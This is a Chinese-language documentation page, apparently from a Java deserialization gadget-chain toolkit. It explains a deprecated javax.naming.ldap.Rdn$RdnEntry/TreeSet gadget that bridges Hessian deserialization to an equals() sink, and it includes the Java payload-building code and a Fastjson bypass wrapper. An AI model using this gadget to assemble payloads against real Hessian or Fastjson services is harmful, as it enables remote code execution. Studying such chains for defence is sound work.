Skip to content

Latest commit

 

History

History
61 lines (51 loc) · 4.67 KB

File metadata and controls

61 lines (51 loc) · 4.67 KB

Rdn$RdnEntry 调用Equals(Rdn)

  • 类别:common 别名:— 优先级:—(未设置)
  • 作者:—
  • 依赖jdk:javax.naming.ldap.Rdn$RdnEntry(JDK 内置)
  • 状态@Deprecated(源码标注已弃用)

作用

利用 JDK 内置的 javax.naming.ldap.Rdn$RdnEntryTreeSet#add 排序时会调用其 compareTo,而 Rdn$RdnEntry.compareTo 内部会对两个条目的 value 调用 equals,从而把「排序触发」转成「对任意受控对象调用 obj1.equals(obj2)」。这是一个把 Hessian(或其它调用 add/排序的)反序列化入口 桥接到 Equals 型 sink 的跳板。

链接标签

  • 入口 tagsHessianDeserializeNotForJavaSerializable —— 承接 Hessian 反序列化入口;NotForJavaSerializable 表示因 TreeSet 内含不可原生序列化的对象结构,不能用于 Java 原生反序列化(仅适合 Hessian 等按字段重建的场景)。
  • 衔接 nextTagsEquals —— 之后需接一个「暴露危险 equals」的 gadget(如某些 XString/toString-via-equals 或 JNDI 触发型 equals 载体)。
  • excludes:无。

源码剖析

public Object getObject(Object obj1, Object obj2) throws Exception {
    Object rdnEntry1 = Reflections.createWithoutConstructor("javax.naming.ldap.Rdn$RdnEntry");
    Reflections.setFieldValue(rdnEntry1, "type", "gadget-chains");
    Reflections.setFieldValue(rdnEntry1, "value", obj2);          // entry1.value = obj2
    Object rdnEntry2 = Reflections.createWithoutConstructor("javax.naming.ldap.Rdn$RdnEntry");
    Reflections.setFieldValue(rdnEntry2, "type", "gadget-chains");
    Reflections.setFieldValue(rdnEntry2, "value", obj1);          // entry2.value = obj1
    TreeSet treeSet = PayloadHelper.makeTreeSet(rdnEntry1, rdnEntry2);  // add 两个条目 => compareTo => equals
    return treeSet;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object[] objects = (Object[]) chain.doCreate(context);        // 下游返回一对对象 [obj0, obj1]
    Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
    Object resultObject = this.getObject(objects[0], objects[1]);
    if (getterObject != null) {
        return CommonMethod.listWrap(getterObject, resultObject); // Fastjson bypass 场景包一层 List
    }
    return resultObject;
}

逐段解释:

  1. invoke 期望下游 chain.doCreate 返回一个长度为 2 的对象数组 objects——即要参与 equals 的两个对象(一个是「被调用 equals 的载体」,一个是「作为参数传入」的对象)。
  2. getObjectReflections.createWithoutConstructor 无参构造两个 Rdn$RdnEntry(跳过其私有构造/校验),把 type 都设为无害字符串 "gadget-chains",并把两个受控对象交叉塞进各自的 value 字段。
  3. PayloadHelper.makeTreeSet 把两个条目放进 TreeSet。反序列化重建 TreeSet 时(Hessian 会调用 add 恢复元素),第二个元素插入触发 Rdn$RdnEntry.compareTo;该方法先比较 type(相等),再对 valueequals——于是执行 obj1.equals(obj2)(或反向),把控制权交给下游 Equals sink。
  4. 若 context 中存在 FASTJSON_HANDLE_BYPASS_KEY(Fastjson/自定义处理绕过场景),额外用 CommonMethod.listWrap 把结果与一个 getter 对象包成 List。

关键点type 相等使 compareTo 不会提前返回,必然走到对 valueequals 比较,这是触发链得以延续的前提。

参数(@Param)

本类无 @Param。参与 equals 的两个对象完全由下游 gadget 通过 chain.doCreate 提供。

适用版本与原理要点

  • 仅需 JDK 内置的 javax.naming.ldap.Rdn$RdnEntry,无第三方依赖;理论上跨 JDK 版本通用(取决于该内部类字段 type/value 是否保持)。
  • 不可用于 Java 原生反序列化NotForJavaSerializable):TreeSet 原生反序列化会在 readObject 中即时 put,且元素结构不满足原生可序列化约束,故设计上定位于 Hessian 等「按字段重建后调用集合方法」的入口。
  • 已被 @Deprecated 标注,属历史/备选跳板,实战多用同类的 XString/HashMap#equals 等更稳定的 equals 触发器。

所属预设链

usedInChains 为空——自由构件,未直接出现在 51 条预设链中。

关联

  • 下游(nextTags=Equals):各类以 equals 为触发点的 sink(如 XString* 触发 toString、或 JNDI 型 equals 载体)。
  • 同类入口跳板:HashMapEqualsHashTableEqualsConcurrentHashMapEqualsEquals 触发器(同为 common/equals 包)。